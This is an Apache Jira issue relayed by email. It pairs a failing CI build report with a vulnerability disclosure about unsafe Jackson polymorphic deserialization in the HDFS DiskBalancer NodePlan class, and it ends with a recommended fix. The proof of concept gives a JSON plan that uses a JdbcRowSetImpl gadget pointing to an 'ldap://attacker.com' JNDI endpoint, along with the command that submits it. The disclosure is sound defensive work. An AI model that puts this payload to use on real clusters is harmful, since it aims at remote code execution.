[ 
https://issues.apache.org/jira/browse/HDFS-17874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=18053378#comment-18053378
 ] 

ASF GitHub Bot commented on HDFS-17874:
---------------------------------------

hadoop-yetus commented on PR #8196:
URL: https://github.com/apache/hadoop/pull/8196#issuecomment-3779973966

   :broken_heart: **-1 overall**
   
   
   
   
   
   
   | Vote | Subsystem | Runtime |  Logfile | Comment |
   |:----:|----------:|--------:|:--------:|:-------:|
   | +0 :ok: |  reexec  |   1m  7s |  |  Docker mode activated.  |
   |||| _ Prechecks _ |
   | +1 :green_heart: |  dupname  |   0m  0s |  |  No case conflicting files 
found.  |
   | +0 :ok: |  codespell  |   0m  0s |  |  codespell was not available.  |
   | +0 :ok: |  detsecrets  |   0m  0s |  |  detect-secrets was not available.  
|
   | +1 :green_heart: |  @author  |   0m  0s |  |  The patch does not contain 
any @author tags.  |
   | -1 :x: |  test4tests  |   0m  0s |  |  The patch doesn't appear to include 
any new or modified tests. Please justify why no new tests are needed for this 
patch. Also please list what manual steps were performed to verify this patch.  
|
   |||| _ trunk Compile Tests _ |
   | +1 :green_heart: |  mvninstall  |  40m 53s |  |  trunk passed  |
   | +1 :green_heart: |  compile  |   1m 46s |  |  trunk passed with JDK 
Ubuntu-21.0.7+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  compile  |   1m 48s |  |  trunk passed with JDK 
Ubuntu-17.0.15+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  checkstyle  |   1m 16s |  |  trunk passed  |
   | +1 :green_heart: |  mvnsite  |   2m  0s |  |  trunk passed  |
   | +1 :green_heart: |  javadoc  |   1m 34s |  |  trunk passed with JDK 
Ubuntu-21.0.7+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  javadoc  |   1m 31s |  |  trunk passed with JDK 
Ubuntu-17.0.15+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  spotbugs  |   4m 16s |  |  trunk passed  |
   | +1 :green_heart: |  shadedclient  |  29m 51s |  |  branch has no errors 
when building and testing our client artifacts.  |
   |||| _ Patch Compile Tests _ |
   | +1 :green_heart: |  mvninstall  |   1m 21s |  |  the patch passed  |
   | +1 :green_heart: |  compile  |   1m 15s |  |  the patch passed with JDK 
Ubuntu-21.0.7+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  javac  |   1m 15s |  |  the patch passed  |
   | +1 :green_heart: |  compile  |   1m 20s |  |  the patch passed with JDK 
Ubuntu-17.0.15+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  javac  |   1m 20s |  |  the patch passed  |
   | +1 :green_heart: |  blanks  |   0m  0s |  |  The patch has no blanks 
issues.  |
   | +1 :green_heart: |  checkstyle  |   0m 43s |  |  the patch passed  |
   | +1 :green_heart: |  mvnsite  |   1m 27s |  |  the patch passed  |
   | +1 :green_heart: |  javadoc  |   1m  0s |  |  the patch passed with JDK 
Ubuntu-21.0.7+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  javadoc  |   1m  1s |  |  the patch passed with JDK 
Ubuntu-17.0.15+6-Ubuntu-0ubuntu120.04  |
   | +1 :green_heart: |  spotbugs  |   3m 51s |  |  the patch passed  |
   | +1 :green_heart: |  shadedclient  |  28m 53s |  |  patch has no errors 
when building and testing our client artifacts.  |
   |||| _ Other Tests _ |
   | -1 :x: |  unit  | 213m  7s | 
[/patch-unit-hadoop-hdfs-project_hadoop-hdfs.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-8196/2/artifact/out/patch-unit-hadoop-hdfs-project_hadoop-hdfs.txt)
 |  hadoop-hdfs in the patch passed.  |
   | +1 :green_heart: |  asflicense  |   0m 48s |  |  The patch does not 
generate ASF License warnings.  |
   |  |   | 339m 32s |  |  |
   
   
   | Reason | Tests |
   |-------:|:------|
   | Failed junit tests | hadoop.hdfs.tools.TestDFSAdmin |
   
   
   | Subsystem | Report/Notes |
   |----------:|:-------------|
   | Docker | ClientAPI=1.52 ServerAPI=1.52 base: 
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-8196/2/artifact/out/Dockerfile
 |
   | GITHUB PR | https://github.com/apache/hadoop/pull/8196 |
   | Optional Tests | dupname asflicense compile javac javadoc mvninstall 
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets |
   | uname | Linux 570b995eb6df 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 
20:25:16 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux |
   | Build tool | maven |
   | Personality | dev-support/bin/hadoop.sh |
   | git revision | trunk / 63803feabf95a8518130cb5336d2c12dccd755b5 |
   | Default Java | Ubuntu-17.0.15+6-Ubuntu-0ubuntu120.04 |
   | Multi-JDK versions | 
/usr/lib/jvm/java-21-openjdk-amd64:Ubuntu-21.0.7+6-Ubuntu-0ubuntu120.04 
/usr/lib/jvm/java-17-openjdk-amd64:Ubuntu-17.0.15+6-Ubuntu-0ubuntu120.04 |
   |  Test Results | 
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-8196/2/testReport/ |
   | Max. process+thread count | 3234 (vs. ulimit of 5500) |
   | modules | C: hadoop-hdfs-project/hadoop-hdfs U: 
hadoop-hdfs-project/hadoop-hdfs |
   | Console output | 
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-8196/2/console |
   | versions | git=2.25.1 maven=3.9.11 spotbugs=4.9.7 |
   | Powered by | Apache Yetus 0.14.0 https://yetus.apache.org |
   
   
   This message was automatically generated.
   
   




> Unsafe Jackson Polymorphic Deserialization in HDFS DiskBalancer NodePlan
> ------------------------------------------------------------------------
>
>                 Key: HDFS-17874
>                 URL: https://issues.apache.org/jira/browse/HDFS-17874
>             Project: Hadoop HDFS
>          Issue Type: Bug
>          Components: diskbalancer
>    Affects Versions: 3.4.2
>            Reporter: Cyl
>            Priority: Major
>              Labels: pull-request-available
>
> h3. Summary
> The {{NodePlan}} class in Apache Hadoop HDFS DiskBalancer uses 
> {{@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)}} annotation, which allows 
> user-controlled JSON input to specify arbitrary Java class names for 
> instantiation during deserialization. While current exploitation is partially 
> mitigated by type constraints and Jackson's internal blocklist, this 
> represents a dangerous coding pattern that could lead to Remote Code 
> Execution (RCE) if mitigations are bypassed.
> h3. Details
> The vulnerability exists in {{NodePlan.java}} where the {{volumeSetPlans}} 
> field is annotated with Jackson's polymorphic type handling:
>  
> {{// File: 
> hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java@JsonTypeInfo(use
>  = JsonTypeInfo.Id.CLASS,
>     include = JsonTypeInfo.As.PROPERTY, property = "@class")private 
> List<Step> volumeSetPlans;}}
> When a user executes the DiskBalancer command with a plan file:
>  
> {{hdfs diskbalancer -execute <plan_file.json>}}
> The JSON file is parsed via {{{}NodePlan.parseJson(){}}}:
>  
> {{public static NodePlan parseJson(String json) throws IOException {    
> return READER.readValue(json);  // Deserializes with @JsonTypeInfo}}}
> Jackson reads the {{@class}} property from the JSON and attempts to 
> instantiate the specified class. An attacker can craft a malicious JSON file 
> specifying a gadget class (e.g., {{{}JdbcRowSetImpl{}}}) to trigger JNDI 
> injection or other exploitation chains.
> *Attack Chain:*
>  
> {{User submits malicious plan JSON
>     → hdfs diskbalancer -execute <malicious_plan.json>
>     → ExecuteCommand.submitPlan()
>     → NodePlan.parseJson(planData)
>     → Jackson ObjectMapper.readValue() with @JsonTypeInfo
>     → Attempts arbitrary class instantiation via "@class" property}}
> h3. PoC
>  # {*}Setup Environment{*}: Deploy a Hadoop cluster with DiskBalancer enabled.
>  # {*}Create Malicious Payload{*}: Save the following as 
> {{{}malicious_plan.json{}}}:
>  
> {{{"volumeSetPlans": [{"@class": 
> "com.sun.rowset.JdbcRowSetImpl","dataSourceName": 
> "ldap://attacker.com:1389/Exploit","autoCommit": true}],"nodeName": 
> "victim-datanode","nodeUUID": "00000000-0000-0000-0000-000000000000","port": 
> 9867,"timeStamp": 1234567890000}}}
>  # {*}Execute Attack{*}:
>  
> {{# On a machine with HDFS client accesshdfs diskbalancer -execute 
> malicious_plan.json}}
>  # {*}Observed Behavior{*}:
>  ** With current mitigations: {{InvalidTypeIdException: Not a subtype of 
> Step}}
>  ** Without mitigations (older Jackson/custom Step gadget): JNDI connection 
> to attacker server
>  # {*}Alternative Test (Direct API){*}:
> h3. Impact
>  * {*}Potential RCE{*}: If a gadget class implementing the {{Step}} interface 
> exists in the classpath (via third-party plugins or future code changes), 
> full Remote Code Execution is achievable.
>  * {*}Defense-in-Depth Violation{*}: The code relies entirely on external 
> mitigations (Jackson blocklist, type constraints) rather than implementing 
> proper input validation.
>  * {*}Future Risk{*}: New gadget classes are regularly discovered. The 
> blocklist may not cover all future threats.
> h3. Affected products
>  * {*}Ecosystem{*}: Maven
>  * {*}Package name{*}: org.apache.hadoop:hadoop-hdfs
>  * {*}Affected versions{*}: All versions using {{@JsonTypeInfo(use = 
> JsonTypeInfo.Id.CLASS)}} in NodePlan.java (Confirmed in 3.x branch)
>  * {*}Patched versions{*}:
> h3. Severity
>  * {*}Severity{*}: Medium (currently mitigated) / High (if mitigations 
> bypassed)
>  * {*}Vector string{*}: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (6.7)
>  ** Attack Vector: Local (requires access to submit DiskBalancer plans)
>  ** Attack Complexity: High (requires bypass of type constraints)
>  ** Privileges Required: Low (authenticated HDFS user)
> h3. Weaknesses
>  * {*}CWE{*}: CWE-502: Deserialization of Untrusted Data
> h3. Occurrences
> ||Permalink||Description||
> |[https://github.com/apache/hadoop/blob/trunk/hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java#L34-L36]|The
>  {{@JsonTypeInfo(use=Id.CLASS)}} annotation on {{volumeSetPlans}} field 
> allows user-controlled class instantiation.|
> |[https://github.com/apache/hadoop/blob/trunk/hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java#L160-L162]|The
>  {{parseJson()}} method that deserializes user-provided JSON without 
> additional validation.|
> h3. Recommended Fix
> Replace the dangerous {{@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)}} pattern 
> with a safe alternative by *Use Concrete Type*
> {{// Remove polymorphic deserialization entirelyprivate List<MoveStep> 
> volumeSetPlans;  // Concrete type instead of interface}}
> {{}}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to